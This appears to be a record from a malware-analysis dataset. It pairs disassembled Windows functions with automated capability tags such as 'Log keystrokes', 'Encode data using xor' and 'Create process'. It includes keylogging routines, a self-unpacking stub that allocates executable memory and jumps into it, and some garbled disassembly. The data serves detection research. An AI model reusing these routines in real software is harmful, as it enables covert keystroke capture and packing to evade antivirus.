joyce8/EMBER2024-capa huggingface dataset:
Function at 0x45eb30
Capabilities:
Identify system language via api

Disassembly:
call sub.kernel32.dll_GetUserDefaultLangID
mov byte [0x46441c], 1
movzx eax, ax
cmp eax, 0x412
jg 0x45eb99
je 0x45ecda
add eax, 0xfffffbfc
cmp eax, 0xd
ja case.0x45ebb4.1044
jmp dword [eax*4 + 0x45eb61]
cmp eax, 0x41d
jg 0x45ebdf
je 0x45eca2
add eax, 0xfffffbed
cmp eax, 8
ja case.0x45ebb4.1044
jmp dword [eax*4 + 0x45ebbb]
cmp eax, 0x424
jg 0x45ebff
je 0x45ec22
sub eax, 0x41e
je 0x45ecd2
dec eax
je 0x45ec9a
jmp case.0x45ebb4.1044
sub eax, 0x427
je 0x45ecba
sub eax, 0x3dd
je 0x45ecc2
jmp case.0x45ebb4.1044
mov byte [0x46441c], 1
ret
mov byte [0x46441c], 2
ret
mov byte [0x46441c], 3
ret
mov byte [0x46441c], 4
ret
mov byte [0x46441c], 5
ret
mov byte [0x46441c], 6
ret
mov byte [0x46441c], 7
ret
mov byte [0x46441c], 8
ret
mov byte [0x46441c], 9
ret
mov byte [0x46441c], 0xa
ret
mov byte [0x46441c], 0xb
ret
mov byte [0x46441c], 0xc
ret
mov byte [0x46441c], 0xd
ret
mov byte [0x46441c], 0xe
ret
mov byte [0x46441c], 0xf
ret
mov byte [0x46441c], 0x10
ret
mov byte [0x46441c], 0x11
ret
mov byte [0x46441c], 0x12
ret
mov byte [0x46441c], 0x13
ret
mov byte [0x46441c], 0x14
ret
mov byte [0x46441c], 0x15
ret
mov byte [0x46441c], 0x17
ret
mov byte [0x46441c], 0x16
ret
mov byte [0x46441c], 0x18
ret
mov byte [0x46441c], 0x19
ret
mov byte [0x46441c], 0x1a
ret
Function at 0x4516dd
Capabilities:
Encode data using xor

Disassembly:
jnp 0x4516f6
mov byte [ebp + ecx*4 - 0x7c], 0xbe
mov edi, 0xe5828344
invalid
fbstp tbyte [ebx + ecx*2]
dec ebx
sub al, 0x11
push 0x36
jno 0x4516f4
aas
mov ecx, 0x7cc13b41
sub byte [ebx + 6], dl
jl 0x45172c
push ebx
push es
pop esi
ficomp word [eax]
cmp al, byte [ebx + ecx*4 - 1]
xor byte [ecx], al
jl 0x451702
pop ds
scasd eax, dword es:[edi]
cmp eax, ebx
mov edi, 0x840f10a8
leave
jbe 0x451755
xchg byte [ecx + ecx*4], cl
movsb byte es:[edi], byte [esi]
sbb eax, 0x1ad3ff9f
loopne 0x4516f6
push ds
mov dword [0x850fab9e], eax
invalid
jne 0x334fa30b
test edi, 0x35eb9104
add dword [ebp - 0x62f51d], eax
sbb dword [esi - 0x7430d651], edi
and ecx, dword [ebx - 0x66dfb4c5]
add eax, dword [ebx + 0x1c]
adc ecx, edx
jo 0x4517ba
xor al, 0xe1
mov edx, dword [ebx + 0x14]
out 7, al
adc al, 0xe6
pop es
mov al, 0xc1
aas
test al, 0x12
lodsb al, byte [esi]
mov ebp, 0x608f0f61
clc
push ebx
jns 0x451793
push eax
fisub dword [esp + edi]
rcl esp, 0x9c
mov ch, 0xc
add esi, edi
cmp dword [ebp + 0x1f2f01ed], 0xc7c52394
pop sp
push edi
add byte [ebx - 0x5c], 0xc7
push 0xcb0673bc
pop esi
mov esp, 0xdbb893ed
push eax
sahf
invalid
sti
sal al, 1
cmp byte [ecx + 0x5fc32460], dh
inc ebp
insb byte es:[edi], dx
adc bh, byte [edi + esi*2 - 0x67]
outsb dx, byte [esi]
pop edx
int1
dec ebp
salc
out dx, al
cmp eax, 0xcd18bb01
loope 0x4517c3
mov ebx, 0x9341c787
test esi, ebp
push dword [edi - 0x5df44fca]
mov ch, 4
scasd eax, dword es:[edi]
add cl, byte [esi + 0xf]
mov al, 0xb
mov byte [0x2af04b5], al
dec esi
js 0xcd35923b
mov byte [ebx + 0x7a], dh
invalid
push es
sahf
lodsd eax, dword [esi]
daa
push 0xa5b1b404
or byte fs:[esi], cl
jne 0x4517fd
xchg dword [edx + 3], ebx
outsd dx, dword [esi]
or eax, 0x17d1409c
lahf
jnp 0x451773
mov eax, dword [0x460f619f]
mov ebp, 0x607d0e75
jmp 0x4517ae
or byte [eax - 0x6b], bh
and eax, 0xd7b40c50
in eax, 0x78
mov ebx, 0xbe4a1d70
adc al, 0x28
push esi
pop es
dec ecx
xlatb
invalid
Function at 0x47f150
Capabilities:
Get number of processors
Get process heap flags
Get process heap force flags

Disassembly:
xor al, 0x34
cmp byte [esp + edi], dh
xor al, 0x40
xor al, 0x44
xor al, 0x48
xor al, 0x4c
xor al, 0x50
xor al, 0x54
xor al, 0
add byte [eax], al
nop
add eax, 0x20c00
add byte [eax + 0x30], al
inc esp
xor byte [eax + 0x30], cl
mov eax, 0xc033bc33
xor eax, esp
xor ecx, eax
xor ecx, esp
xor edx, eax
xor edx, esp
xor ebx, eax
xor ebx, esp
xor esp, eax
xor esp, esp
xor ebp, eax
xor ebp, esp
xor esi, eax
xor esi, esp
xor edi, eax
xor edi, esp
xor eax, dword [eax]
xor al, 4
xor al, 8
xor al, 0xc
xor al, 0x10
xor al, 0x14
xor al, 0x18
xor al, 0x1c
xor al, 0x20
xor al, 0x24
xor al, 0x50
xor al, 0x54
xor al, 0x58
xor al, 0x5c
xor al, 0x60
xor al, 0x64
xor al, 0x68
xor al, 0x6c
xor al, 0x70
xor al, 0x74
xor al, 0x78
xor al, 0x7c
xor al, 0x80
xor al, 0x84
xor al, 0x88
xor al, 0x8c
xor al, 0x90
xor al, 0x94
xor al, 0x98
xor al, 0x9c
xor al, 0xa0
xor al, 0xa4
xor al, 0xa8
xor al, 0xac
xor al, 0xb0
xor al, 0xb4
xor al, 0xb8
xor al, 0xbc
xor al, 0xc8
xor al, 0xcc
xor al, 0xd0
xor al, 0xd4
xor al, 0xd8
xor al, 0xdc
xor al, 0xe0
xor al, 0xe4
xor al, 0xe8
xor al, 0xec
xor al, 0xf0
xor al, 0xf4
xor al, 0xf8
xor al, 0xfc
xor al, 0
xor eax, 0x35083504
or al, 0x35
adc byte [0x35183514], dh
sbb al, 0x35
and byte [0x35283524], dh
sub al, 0x35
xor byte [0x35383534], dh
cmp al, 0x35
inc eax
xor eax, 0x35483544
dec esp
xor eax, 0x35543550
pop eax
xor eax, 0x3560355c
xor eax, 0x356c3568
jo 0x47f26d
je 0x47f26f
js 0x47f271
jl 0x47f273
xor byte [0x35883584], 0x8c
xor eax, 0x35943590
cwde
xor eax, 0x35a0359c
movsb byte es:[edi], byte [esi]
xor eax, 0x35ac35a8
mov al, 0x35
mov ah, 0x35
mov eax, 0xc035bc35
xor eax, 0x35c835c4
int3
xor eax, 0x35e435e0
call 0xf07ddeac
xor eax, 0x35f835f4
cld
xor eax, 0x36043600
xor eax, 0x35e835e4
in al, dx
xor eax, 0x35f435f0
clc
xor eax, 0x360035fc
add al, 0x36
xor eax, 0x35ec35e8
invalid
xor eax, 0x35f035ec
hlt
or byte [esi], dh
or al, 0x36
adc byte [esi], dh
adc al, 0x36
sbb byte [esi], dh
sbb al, 0x36
and byte [esi], dh
and al, 0x36
sub byte [esi], dh
sub al, 0x36
xor byte [esi], dh
xor al, 0x36
cmp byte [esi], dh
cmp al, 0x36
inc eax
inc esp
dec eax
dec esp
push eax
push esp
pop eax
pop esp
pushal
push 0x70366c36
je 0x47f2f0
js 0x47f2f2
jl 0x47f2f4
xor byte [esi], 0x84
mov byte ss:[esi], dh
invalid
in al, 0x36
call 0xf07edf2d
hlt
in al, dx
invalid
Function at 0x404da8
Capabilities:
Set file attributes

Disassembly:
test edx, 0xf0000000
je 0x404db6
and edx, 0x3fff
jmp fcn.00404d1a

Function at 0x404dbb
Capabilities:
Delete directory

Disassembly:
mov eax, 0x434464
call fcn.004339e0
sub esp, 0xc
push ebx
push esi
push edi
mov edi, ecx
call fcn.00407553
mov esi, dword [sym.imp.kernel32.dll_RemoveDirectoryW]
mov ebx, eax
cmp ebx, 1
je 0x404dea
push edi
call esi
test eax, eax
je 0x404dea
mov al, 1
jmp 0x404e2e
test ebx, ebx
je 0x404e2c
lea ecx, [ebp - 0x18]
call fcn.004028e9
and dword [ebp - 4], 0
cmp ebx, 1
setne al
push eax
lea edx, [ebp - 0x18]
mov ecx, edi
call fcn.0040765c
test al, al
push dword [ebp - 0x18]
je 0x404e26
call esi
mov esi, eax
push dword [ebp - 0x18]
call fcn.00401abd
test esi, esi
pop ecx
setne al
jmp 0x404e2e
call fcn.00401abd
pop ecx
xor al, al
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x404e3d
Capabilities:
Move file

Disassembly:
mov eax, 0x434480
call fcn.004339e0
sub esp, 0x24
push ebx
push esi
push edi
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x18], ecx
call fcn.00407553
mov ecx, dword [ebp - 0x10]
mov esi, eax
call fcn.00407553
mov edi, dword [sym.imp.kernel32.dll_MoveFileW]
mov dword [ebp - 0x14], eax
push 1
pop ebx
cmp esi, ebx
je 0x404e86
cmp eax, ebx
je 0x404e86
push dword [ebp - 0x10]
push dword [ebp - 0x18]
call edi
test eax, eax
je 0x404e86
mov al, bl
jmp 0x404efd
test esi, esi
jne 0x404e8f
cmp dword [ebp - 0x14], esi
je 0x404efb
lea ecx, [ebp - 0x30]
call fcn.004028e9
and dword [ebp - 4], 0
lea ecx, [ebp - 0x24]
call fcn.004028e9
cmp esi, ebx
mov byte [ebp - 4], bl
je 0x404eaf
cmp dword [ebp - 0x14], ebx
jne 0x404eb1
xor ebx, ebx
mov edx, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x18]
lea eax, [ebp - 0x24]
push ebx
push eax
lea eax, [ebp - 0x30]
push eax
call fcn.0040b97d
test al, al
push dword [ebp - 0x24]
je 0x404eec
push dword [ebp - 0x30]
call edi
mov esi, eax
push dword [ebp - 0x24]
call fcn.00401abd
push dword [ebp - 0x30]
call fcn.00401abd
pop ecx
test esi, esi
pop ecx
setne al
jmp 0x404efd
call fcn.00401abd
push dword [ebp - 0x30]
call fcn.00401abd
pop ecx
pop ecx
xor al, al
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x405008
Capabilities:
Create directory

Disassembly:
mov eax, 0x4344b0
call fcn.004339e0
sub esp, 0xc
push ebx
push esi
push edi
mov edi, ecx
call fcn.00407553
mov esi, dword [sym.imp.kernel32.dll_CreateDirectoryW]
mov ebx, eax
cmp ebx, 1
je 0x405046
push 0
push edi
call esi
test eax, eax
je 0x405039
mov al, 1
jmp 0x40508f
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0xb7
je 0x40508d
test ebx, ebx
je 0x40508d
lea ecx, [ebp - 0x18]
call fcn.004028e9
and dword [ebp - 4], 0
cmp ebx, 1
setne al
push eax
lea edx, [ebp - 0x18]
mov ecx, edi
call fcn.0040765c
test al, al
je 0x405084
push 0
push dword [ebp - 0x18]
call esi
mov esi, eax
push dword [ebp - 0x18]
call fcn.00401abd
test esi, esi
pop ecx
setne al
jmp 0x40508f
push dword [ebp - 0x18]
call fcn.00401abd
pop ecx
xor al, al
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x405c83
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, 0x4345c0
call fcn.004339e0
sub esp, 0xc
push ebx
push esi
push edi
mov edi, ecx
call fcn.00407553
mov esi, dword [sym.imp.kernel32.dll_GetFileAttributesW]
mov ebx, eax
cmp ebx, 1
je 0x405caf
push edi
call esi
cmp eax, 0xffffffff
jne 0x405cf1
test ebx, ebx
je 0x405cee
lea ecx, [ebp - 0x18]
call fcn.004028e9
and dword [ebp - 4], 0
cmp ebx, 1
setne al
push eax
lea edx, [ebp - 0x18]
mov ecx, edi
call fcn.0040765c
test al, al
push dword [ebp - 0x18]
je 0x405ce8
call esi
mov esi, eax
push dword [ebp - 0x18]
call fcn.00401abd
pop ecx
mov eax, esi
jmp 0x405cf1
call fcn.00401abd
pop ecx
or eax, 0xffffffff
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x406306
Capabilities:
Get disk information

Disassembly:
mov eax, 0x434664
call fcn.004339e0
sub esp, 0x20
push ebx
push esi
push edi
mov dword [ebp - 0x18], ecx
call fcn.0041c900
mov edi, dword [sym.imp.kernel32.dll_GetLogicalDriveStringsW]
push 0
push 0
call edi
mov ebx, eax
test ebx, ebx
mov dword [ebp - 0x14], ebx
je 0x4063d4
mov eax, SysReAllocString
cmp ebx, eax
ja 0x406342
mov eax, ebx
add eax, eax
push eax
call fcn.0040b97d
mov esi, eax
pop ecx
mov dword [ebp - 0x20], esi
and dword [ebp - 4], 0
push esi
push ebx
call edi
mov ebx, eax
xor edi, edi
cmp ebx, edi
mov dword [ebp - 0x10], ebx
je 0x4063cd
cmp ebx, dword [ebp - 0x14]
ja 0x4063cd
lea ecx, [ebp - 0x2c]
call fcn.004028e9
test ebx, ebx
mov byte [ebp - 4], 1
mov dword [ebp - 0x14], edi
jbe 0x4063b5
push 2
xor eax, eax
pop ebx
cmp word [esi + ebx - 2], 0
jne 0x4063aa
add eax, esi
lea ecx, [ebp - 0x2c]
push eax
call fcn.0040b97d
mov ecx, dword [ebp - 0x18]
lea eax, [edi + 1]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x2c]
push eax
mov dword [ebp - 0x1c], ebx
call fcn.0040150c
mov eax, ebx
inc edi
inc ebx
inc ebx
cmp edi, dword [ebp - 0x10]
jb 0x406380
mov ebx, dword [ebp - 0x10]
push dword [ebp - 0x2c]
call fcn.00401abd
push esi
call fcn.00401abd
cmp dword [ebp - 0x14], ebx
pop ecx
pop ecx
sete al
jmp 0x4063d6
push esi
call fcn.00401abd
pop ecx
xor al, al
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x40b97d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x40b98c
pop dword [ebp - 0x30]
mov eax, 0x40b98c
sub dword [ebp - 0x30], eax
push 0x40
push 0x1000
push 0x38b1a
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x30]
call dword [eax]
mov ecx, 0x1a6b0f92
sub ecx, 0x1a6ad091
xor edx, edx
add edx, eax
mov esi, 0x44c600
add esi, dword [ebp - 0x30]
mov ebx, 0x9c74c851
sub ebx, 0x4010bb32
sub dword [ebp - 0x2c], ecx
mov edi, dword [esi]
add dword [ebp - 0x10], 0x552104d5
add edi, ebx
xor dword [ebp - 0x24], 0xf5b18b9f
mov dword [edx], edi
add edx, 4
add esi, 0xcf7f463a
add esi, 0x3080b9ca
loop 0x40b9dd
add eax, 0x3a40303f
add eax, 0xc5c0be98
mov ebx, eax
add eax, 0x78600700
sub eax, 0x786006fb
mov ecx, 0x444893e5
sub ecx, 0x440893e5
add ecx, dword [ebp - 0x30]
call ebx
leave
ret
Function at 0x401087
Capabilities:
Create process on windows
Get common file path
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x430
push ebx
push esi
push edi
lea eax, [ebp - 0x220]
push eax
mov edi, 0x104
push edi
mov byte [ebp - 2], 0
mov byte [ebp - 1], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push dword [ebp + 8]
call fcn.004013e8
call fcn.00445a7a
test eax, eax
je 0x4010d8
push 0x10
push 0x46bda6
push str.This_is_a_compiled_AutoIt_script._AV_researchers_please_email_avsupport_autoitscript.com_for_support.
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x40128b
cmp dword [0x48a324], 0
mov ebx, 0x48a338
jne 0x401106
push 0xffffffffffffffff
push dword [0x48a32c]
mov esi, 0x48b470
push 1
call fcn.0040827f
mov al, byte [0x4795bc]
mov byte [0x48b472], al
jmp 0x401154
lea eax, [ebp - 2]
push eax
push 0x48a324
mov esi, ebx
mov eax, 0x48b470
call fcn.004088c3
test al, al
jne 0x40112e
mov dword [0x4795d4], 1
jmp 0x40127e
mov al, byte [0x48b470]
mov byte [0x48a328], al
mov al, byte [0x48b471]
push 0x48a320
mov byte [ebp - 1], al
lea eax, [ebp - 0x430]
push eax
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
push dword [0x48a324]
push ebx
call fcn.0041b35f
test eax, eax
je 0x40118a
mov edi, 0x48b470
call fcn.00408435
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
mov dword [0x4795d4], 1
jmp 0x40128b
cmp byte [ebp - 1], 1
jne 0x401239
cmp byte [0x48a2f5], 1
jne 0x401239
call fcn.0040f69d
test al, al
jne 0x401239
push edi
lea eax, [ebp - 0x430]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
cmp byte [ebp - 2], 0
je 0x401212
mov edi, 0x46be10
push edi
lea esi, [ebp - 0x10]
call fcn.0040ffd4
push ebx
mov eax, esi
call fcn.00410227
push edi
mov eax, esi
call fcn.00410227
push 1
lea eax, [ebp - 0x220]
push eax
push dword [ebp - 0x10]
lea eax, [ebp - 0x430]
push eax
push 0x46be14
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push dword [ebp - 0x10]
call fcn.0044f951
pop ecx
jmp 0x401274
push 1
lea eax, [ebp - 0x220]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x430]
push eax
push 0x46be14
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
jmp 0x401274
call fcn.00401292
call fcn.00401377
cmp byte [0x48a328], 0
mov esi, 0x48aaf0
jne 0x401258
mov eax, esi
call fcn.0040bbb0
push 1
mov ecx, 0x48a548
call fcn.0041b513
cmp byte [0x48a328], 0
jne 0x401274
mov ecx, esi
call fcn.0040c0ba
mov edi, 0x48b470
call fcn.00408435
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x4028fa
Capabilities:
Create thread

Disassembly:
push ebx
push ebp
push esi
push edi
push 0xc
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 2
xor ebp, ebp
push ebp
mov edi, eax
push ebp
push edi
call esi
push eax
mov eax, dword [esp + 0x28]
push dword [eax]
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_DuplicateHandle]
push eax
call ebx
push 2
push ebp
push ebp
lea eax, [edi + 8]
push eax
call esi
push eax
mov eax, dword [esp + 0x30]
push dword [eax]
call esi
push eax
call ebx
mov eax, dword [esp + 0x18]
mov eax, dword [eax]
push ebp
push ebp
push edi
push 0x402968
push ebp
push ebp
mov dword [edi + 4], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
pop esi
pop ebp
pop ebx
ret 0xc

Function at 0x4037ab
Capabilities:
Log keystrokes

Disassembly:
push ebx
push ebp
push edi
push 1
push dword [esi]
call fcn.004050d9
mov edi, dword [sym.imp.USER32.dll_MapVirtualKeyW]
xor ebp, ebp
push ebp
push 0x25
call edi
mov ebx, dword [sym.imp.USER32.dll_PostMessageW]
shl eax, 0x10
or eax, 1
cmp dword [esp + 0x10], ebp
push eax
jge 0x4037fb
push 0x25
push pe_nt_image_headers32
push dword [esi]
call ebx
push ebp
call dword [sym.imp.KERNEL32.dll_Sleep]
push ebp
push 0x25
call edi
shl eax, 0x10
or eax, 0xc0000001
push eax
push 0x25
jmp 0x40381d
push 0x27
push pe_nt_image_headers32
push dword [esi]
call ebx
push ebp
call dword [sym.imp.KERNEL32.dll_Sleep]
push ebp
push 0x25
call edi
shl eax, 0x10
or eax, 0xc0000001
push eax
push 0x27
push 0x101
push dword [esi]
call ebx
push ebp
call dword [sym.imp.KERNEL32.dll_Sleep]
push ebp
push dword [esi]
call fcn.004050d9
pop edi
pop ebp
mov al, 1
pop ebx
ret 4

Function at 0x403c7b
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_SendMessageW]
mov ebx, eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
push 0xb0
push dword [ebx]
call esi
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 8]
jne 0x403ca8
xor al, al
jmp 0x403cbc
push edi
push 0
push 0
push 0xe
push dword [ebx]
call esi
mov edi, eax
test edi, edi
jne 0x403cc2
xor al, al
pop edi
pop esi
pop ebx
leave
ret 4
xor ecx, ecx
push 2
pop edx
lea eax, [edi + 0x101]
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.0044f8e7
pop ecx
push eax
mov dword [ebp - 4], eax
lea eax, [edi + 1]
push eax
push 0xd
push dword [ebx]
call esi
test eax, eax
je 0x403d1f
mov eax, dword [ebp - 8]
cmp eax, edi
je 0x403cfe
mov ecx, dword [ebp - 4]
and word [ecx + eax*2], 0
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 4]
lea eax, [ecx + eax*2]
push eax
mov eax, dword [ebp + 8]
call fcn.0041018f
mov bl, 1
push dword [ebp - 4]
call fcn.0044f951
pop ecx
mov al, bl
jmp 0x403cbb
xor bl, bl
jmp 0x403d12
Function at 0x4050d9
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
cmp byte [ebp + 0xc], 1
jne 0x405104
lea eax, [ebp + 0xc]
push eax
push 0x1388
push 2
push 0
push 0
push 0
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_SendMessageTimeoutW]
test eax, eax
je 0x40511f
push 1
jmp 0x405106
push 0
push 0
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_AttachThreadInput]
pop ebp
ret 8

Function at 0x4051d7
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
push edi
push 0
push 0
mov ebx, eax
push 0xe
push dword [ebx]
call dword [sym.imp.USER32.dll_SendMessageW]
mov esi, eax
test esi, esi
jne 0x4051f5
mov esi, 0x7fff
push ebp
xor ecx, ecx
push 2
lea ebp, [esi + 1]
pop edx
mov eax, ebp
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.0044f8e7
pop ecx
mov edi, eax
push edi
push ebp
push 0xd
push dword [ebx]
call dword [sym.imp.USER32.dll_SendMessageW]
and word [edi + esi*2], 0
test eax, eax
mov eax, dword [esp + 0x14]
pop ebp
jne 0x405247
push 0x46bf80
call fcn.0041018f
xor bl, bl
push edi
call fcn.0044f951
pop ecx
pop edi
pop esi
mov al, bl
pop ebx
ret 4
push edi
call fcn.0041018f
mov bl, 1
jmp 0x405238
Function at 0x407d95
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x20630
call fcn.00454dd0
push ebx
xor ebx, ebx
push esi
push edi
push 0x400
mov byte [0x48b470], bl
mov byte [0x48b471], bl
mov byte [0x48b472], bl
mov dword [0x48b474], ebx
mov dword [0x48b478], ebx
mov dword [0x48b47c], ebx
mov dword [0x48b480], ebx
mov dword [0x48b484], 0x472620
mov dword [0x48b488], ebx
mov dword [0x48b48c], ebx
mov dword [0x48b490], ebx
mov dword [0x48b494], 0x472620
mov dword [0x48b498], ebx
mov dword [0x48b49c], ebx
mov dword [0x48b4a0], ebx
mov dword [0x48b4a8], ebx
mov dword [0x48b4b0], ebx
call fcn.0044f8e7
pop ecx
mov dword [0x48b4a4], eax
mov esi, 0x104
push esi
lea eax, [ebp - 0x21c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push ebx
push ebx
lea eax, [ebp - 0x424]
push eax
lea eax, [ebp - 0x62c]
push eax
lea eax, [ebp - 0x21c]
push eax
call fcn.0045237c
push esi
lea eax, [ebp - 0x424]
push str.Include
push eax
call fcn.004523c6
push ebx
push ebx
lea eax, [ebp - 0x424]
push eax
lea eax, [ebp - 0x62c]
push eax
lea eax, [ebp - 0x21c]
push eax
call fcn.00452403
mov edi, 0x20a
push edi
call fcn.0044f8e7
mov ecx, dword [0x48b4a4]
mov edx, dword [0x48b4a8]
mov dword [ecx + edx*4], eax
mov ecx, dword [0x48b4a8]
mov eax, dword [0x48b4a4]
mov eax, dword [eax + ecx*4]
inc dword [0x48b4a8]
lea ecx, [ebp - 0x21c]
push ecx
push eax
call fcn.0044f86d
add esp, 0x40
lea eax, [ebp - 0xc]
push eax
push 0x20019
push ebx
push str.SoftwareAutoIt_v3AutoIt
push reloc.WSOCK32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x407ffc
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x20630]
push eax
push ebx
push ebx
push str.Include
push dword [ebp - 0xc]
mov dword [ebp - 4], 0x1fffe
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x407ff3
shr dword [ebp - 4], 1
mov eax, dword [ebp - 4]
add eax, eax
mov word [ebp + eax - 0x20630], bx
mov word [ebp + eax - 0x2062e], bx
lea eax, [ebp - 0x20630]
mov word [ebp - 0x21c], bx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
movzx eax, word [eax]
cmp ax, bx
mov word [ebp - 0x10], ax
mov word [ebp - 0xe], bx
je 0x407f65
cmp ax, 0x3b
je 0x407f65
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x21c]
push eax
call fcn.0044f843
pop ecx
pop ecx
jmp 0x407fea
lea eax, [ebp - 0x21c]
push eax
call fcn.0045177a
test eax, eax
pop ecx
je 0x407fa1
lea eax, [ebp - 0x21c]
push eax
call fcn.0045177a
cmp word [ebp + eax*2 - 0x21e], 0x5c
pop ecx
je 0x407fa1
lea eax, [ebp - 0x21c]
push 0x46c6b8
push eax
call fcn.0044f843
pop ecx
pop ecx
push edi
call fcn.0044f8e7
mov ecx, dword [0x48b4a4]
mov edx, dword [0x48b4a8]
mov dword [ecx + edx*4], eax
mov ecx, dword [0x48b4a8]
mov eax, dword [0x48b4a4]
mov eax, dword [eax + ecx*4]
inc dword [0x48b4a8]
push esi
lea ecx, [ebp - 0x21c]
push ecx
push eax
call fcn.00451790
mov eax, dword [ebp - 8]
add esp, 0x10
cmp word [eax], bx
mov word [ebp - 0x21c], bx
je 0x407ff3
add dword [ebp - 8], 2
jmp 0x407f35
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
mov eax, 0x48b470
pop ebx
leave
ret
Function at 0x409e9d
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push edi
xor edi, edi
cmp ebx, edi
jne 0x409eb7
mov eax, dword [ebp + 8]
cmp byte [eax + 9], 0
je 0x409f8d
push esi
mov dword [ebp - 8], edi
mov dword [ebp - 0xc], edi
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp byte [ebp + 0xc], 0
mov dword [ebp - 4], eax
je 0x409f58
push edi
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov edi, dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push eax
call edi
mov esi, dword [sym.imp.USER32.dll_AttachThreadInput]
push 1
push eax
push dword [ebp - 4]
mov dword [0x48b920], eax
call esi
test ebx, ebx
mov dword [ebp + 0xc], eax
je 0x409f2a
lea eax, [ebp - 0xc]
push eax
push ebx
call edi
mov ecx, dword [0x48b920]
cmp ecx, eax
mov dword [0x48b91c], eax
je 0x409f1f
push 1
push eax
push ecx
call esi
mov dword [ebp - 8], eax
mov eax, dword [0x48b91c]
push 1
push eax
push dword [ebp - 4]
call esi
mov dword [ebp - 0xc], eax
xor ecx, ecx
cmp dword [ebp + 0xc], ecx
jne 0x409f8c
cmp dword [ebp - 8], ecx
jne 0x409f8c
cmp dword [ebp - 0xc], ecx
jne 0x409f8c
mov eax, dword [0x48b920]
cmp dword [ebp - 4], eax
jne 0x409f8c
cmp eax, dword [0x48b91c]
jne 0x409f8c
mov eax, dword [ebp + 8]
mov dword [eax + 0x240], ecx
jmp 0x409f8c
cmp ebx, edi
mov esi, dword [sym.imp.USER32.dll_AttachThreadInput]
je 0x409f80
push edi
push dword [0x48b91c]
push eax
call esi
mov ecx, dword [0x48b920]
mov eax, dword [0x48b91c]
cmp ecx, eax
je 0x409f80
push edi
push eax
push ecx
call esi
push edi
push dword [0x48b920]
push dword [ebp - 4]
call esi
pop esi
pop edi
leave
ret 8

Function at 0x409fa9
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
push edi
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetKeyState]
and al, 1
cmp byte [ebp + 0xc], al
mov byte [ebp - 1], al
je 0x40a001
mov esi, dword [sym.imp.USER32.dll_MapVirtualKeyW]
push 0
push 0
push dword [ebp + 8]
call esi
push eax
push dword [ebp + 8]
call fcn.00409f92
mov edi, dword [ebx + 4]
push ebx
call fcn.0040b0ec
push 2
push 0
push dword [ebp + 8]
call esi
push eax
push dword [ebp + 8]
call fcn.00409f92
mov edi, dword [ebx]
push ebx
call fcn.0040b0ec
mov al, byte [ebp - 1]
